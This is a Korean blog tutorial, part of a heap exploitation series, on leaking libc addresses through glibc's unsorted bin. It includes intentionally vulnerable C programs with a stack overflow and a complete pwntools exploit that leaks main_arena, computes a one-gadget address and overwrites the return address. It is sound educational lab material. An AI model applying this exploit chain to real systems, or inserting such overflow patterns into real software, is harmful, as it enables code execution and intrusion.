rosieblue
article thumbnail
728x90

Heap 시리즈

[Heap] Background : Memory Allocator

[Heap] Background : Chunk

[Heap] Background : Bin (Fastbin, Unsorted bin, Small bin, Large bin)

[Heap] Memory Corruption : Use After Free(UAF) (1) 

[Heap] Exploitation : Unsorted Bin Memory Leak

 

이 포스트를 읽기 전에 꼭 [Heap] Background : Bin (Fastbin, Unsorted bin, Small bin, Large bin)unsorted bin 파트를 다시 한번 읽고 오길 바란다.

 

 

Memory Leak

오늘은 Unsorted Bin을 통해 라이브러리의 주소를 탈취할 수 있는 기법에 대해 다룬다.

 

Unsorted Bin에 청크가 처음 들어갈 때, main arena의 특정 주소와 연결이 되게 된다.
그래서 fd,bk가 main arena의 주소를 담게 된다.

 

main arena는 libc.so.6 안에 있는 구조체이기 때문에 해당 위치를 알아내면 라이브러리 베이스 위치도 오프셋을 통해 구할 수 있다.

 

예제 1

// gcc -o leak1 leak1.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
	char *ptr = malloc(0x510);
	char *ptr2 = malloc(0x510);
	free(ptr);
	ptr = malloc(0x510);
	printf("0x%lx\n", *(long long *)ptr);
	
	return 0;
}

 

0x510짜리 청크 두개를 할당하고, 첫번째 청크를 해제해준다. 이때 해당 청크는 unsorted bin에 들어가게 된다.

이후 다시 0x510짜리 청크를 할당한다. 굳이 청크 2개를 할당해주는 이유에 관해서는 조금 뒤에 설명할 것이다.

 

(원 예제는 glibc 2.23버전이어서 0x100으로 할당을 했지만 나는 이후 버전이어서 0x510으로 할당해줬다. 왜냐하면 최근 glibc에서는 0x410이하 청크들은 다 tcache에 들어간다고 한다.)

 

 

ptr, ptr2을 malloc으로 할당해준 다음에 b를 걸고 heapinfo를 확인하였다.

 

맨처음 0x290 짜리 청크는 무시해도 됨

0x520짜리 청크 두개가 맞닿아 있고, 그 밑에 바로 Top Chunk가 있는 것을 확인할 수 있다. (0x97b0+0x520=0x9cd0임)

여기서 왜 굳이 청크 2개를 할당했냐면, Top chunk 와 바로 붙어있는 청크가 해제되면 해당 청크는 빈에 들어가는 것이 아니라 Top chunk와 병합하게 된다. 그리고 당연하게도 Top chunk는 어느 빈에도 속하지 않는다. 아무튼 그래서 Unsorted Bin 취약점을 사용할 수 없게 되는 것이다. 그래서 ptr,ptr2를 해준것이다. 우리가 원하는 것은 ptr이고!

 

 

아무튼 free(ptr) 이후에 다시 b를 걸어주었다. unsorted bin에 들어가 있을 것을 예상할 수 있다.

 

역시 Unsorted Bin에 들어가있다.

여기서 잠시 unsorted bin에 대해서 복습해보자. 왜 ptr는 unsorted bin에 들어간 것일까?

일단 fastbin 사이즈가 아닌 청크들은 곧장 unsorted bin으로 들어가기 때문이다. 그리고 다음에 탐색할 때 재할당되거나 원래의 bin으로 돌아가게 된다.

(참고로 딴 얘기지만 fastbin 크기보다는 크지만 unsorted bin에 들어있는 청크 크기보다 작다면 그냥 unsorted bin 안의 chunk를 할당해주는 것 같다.)

 

여기서 해당 청크의 info를 보자

 

chunkinfo 명령어 사용해 청크 정보 출력 가능 peda야 사랑해!

어? 분명 Unsorted bin에는 하나의 청크만 연결했는데? fd, bk에 이상한 게 들어가 있다.

-> 그 이유는 unsorted bin에 처음 연결되는 청크는 main arena의 특정 주소와 이중연결리스트로 연결되기 때문이다!

 

실제로 fd,bk에 적혀있는 주소에 가봐도 위 청크 (0x555...9290) 의 주소가 fd,bk부분에 적혀있는 것을 확인할 수 있었다.

 

 

이후 malloc(0x510)을 하여 0x510짜리 청크를 할당해주었다. 그런데 Unsorted Bin에 해당 크기의 청크(위에 해제해줬던 청크)가 존재하므로 그 청크가 다시 재할당되게 된다.

 

그런데 불행히도 malloc은 '메모리 초기화'는 진행하지 않으므로 fd,bk부분이 청크에 그대로 남아있게된다. (참고로 calloc은 메모리 할당과 동시에 초기화도 진행하므로 이런 익스가 불가능하다ㅜㅜ)

이때 leak1.c에서 아래처럼 ptr가 가리키는 주소의 정보를 출력하므로 fd 부분을 출력하게 된다.

printf("0x%lx\n", *(long long *)ptr);

printf의 출력 결과

위에서 chunkinfo로 확인한 fd값이 printf를 통해 출력된 것을 확인할 수 있다. 이처럼 재할당을 통해 이전 청크의 fd,bk를 읽을 수 있게 된 것이다.

 

이것이 오늘 익스의 핵심이다. main arena는 libc.so.6 안에 있는 구조체이므로 이 주소를 통해 라이브러리의 주소를 가져올 수 있다.

 

예제 2

// gcc -o leak2 leak2.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
	char buf[256]; //버퍼
	char *ptr[10]; //char* 포인터 배열
    
	int ch, idx;
	int i = 0;
    
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
    
	while (1) {
		printf("> ");
		scanf("%d", &ch);
        
		switch(ch) {
			case 1: 
				if( i > 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				ptr[i] = malloc(0x510);
				printf("Data: ");
				read(0, ptr[i], 0x100); //ptr[i]가 가리키는 청크에 0x100만큼 입력가능
				i++; //i 증가
				break;
                
			case 2: //idx에 맞는 ptr 해제
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
                
			case 3: // idx 입력 후  ptr[i]가 가리키는 청크에 0x100만큼 입력가능 (즉 이런게 수정가능!)
				printf("idx: "); 
				scanf("%d", &idx);
				if( i > 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				printf("data: ");
				read(0, ptr[idx], 0x510);
                		break;
                
			case 4: //데이터 출력
                            printf("idx: ");
                            scanf("%d", &idx);
                            if( i > 10 ) {
                                printf("Do not overflow\n");
                                exit(0);
                            } 
                            printf("idx: %d\n", idx);
                            printf("data: %s\n",ptr[idx]);
                             break;
                 
			case 5: //버퍼에 300만큼 받음 (오버플로우 가능)
                            read(0, buf, 300);
                            return 0;

		default:
                            break;
		}
	}
    
	return 0;
}

 

익스플로잇 시나리오

목표 : 라이브러리 주소 획득

  1. fastbin보다 큰 사이즈의 청크 2개 할당 후 위 청크 해제 -> unsorted bin에 들어가 있을 것임
  2. 해당 청크의 fd,bk에는 main_arena의 주소가 적힘 -> print기능으로 이를 읽어옴
  3. 라이브러리 베이스 구한 후 원샷 가젯 주소 계산
  4. bof로 return addr를 해당 가젯 주소로 overwrite

 

 

첫번째 청크를 할당하고 AAAA를 넣어준 후의 청크 모습

 

개행을 포함한 0a41414141이 잘 적힌 것을 확인할 수 있었다. (이처럼 엔터를 치면 read에서는 엔터까지 다 저장한다!!!)

 

 

한번 더 malloc 한후 아까 malloc한 청크 해제 후 모습

 

unsortedbin에 들어간 것을 볼 수 있음

 

해당 청크 정보 출력

 

역시 fd,bk에 0x7ffff7dcdca0이라는 값이 적혔고 해당값은 main arena의 주소이다.

 

main arena의 오프셋은 아래 명령어를 통해서 구할 수 있다

https://xerxes-break.tistory.com/402

 

[main_arena_offset] libc파일에서 main_arena 오프셋 구하기

이 놈의 main_arena offset을 못구해서 CTF 시간내에 문제를 못푼 적이 있다. (그것도 2번씩이나 ㅠㅠ.. 둘다 18.04환경이였는데; 필자가 18.04를 쓰지않는다.) 그래서 대체 어떻게하면 주어진 라이브러리

xerxes-break.tistory.com

 

전체 익스플로잇 코드

from pwn import *

#case 1
def add(data):
	p.sendlineafter("> ","1")
	p.sendlineafter("Data: ",str(data))
    
#case 2
def free(i):
	p.sendlineafter("> ","2")
	p.sendlineafter("idx: ",str(i))
  
#case 3
def edit(idx,data):
	p.sendlineafter("> ","3")
	p.sendlineafter("idx: ",str(idx))
	p.sendlineafter("data: ",str(data))

#case 4
def show(idx):
	p.sendlineafter("> ","4")
	p.sendlineafter("idx: ",str(idx))	
   	p.recvuntil("data: ")
    
#case 5
def overflow(return_addr):
	p.sendlineafter("> ","5")
	payload=b'A'*280+p64(return_addr)
	p.send(payload)

p=process("./leak2")

add("AAAA") #index 0
add("BBBB") #index 1

free(0)

add("") #index 2 - 개행문자 저장하게됨

show(2)
libc = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = libc - 0x3c4b0a
oneshot = libc_base + 0x45216

overflow(oneshot)
p.interactive()

 

 

Reference

Heap Allocator Exploit | Dreamhack의 #7 Memory Leak 파트

https://www.ibm.com/docs/en/i/7.4?topic=ssw_ibm_i_74/apis/read.html 

 

read()--Read from Descriptor

read()--Read from Descriptor   Syntax #include ssize_t read(int file_descriptor, void *buf, size_t nbyte);   Service Program Name: QP0LLIB1   Default Public Authority: *USE   Threadsafe: Conditional; see Usage Notes. From the file or socket indicat

www.ibm.com

 

profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!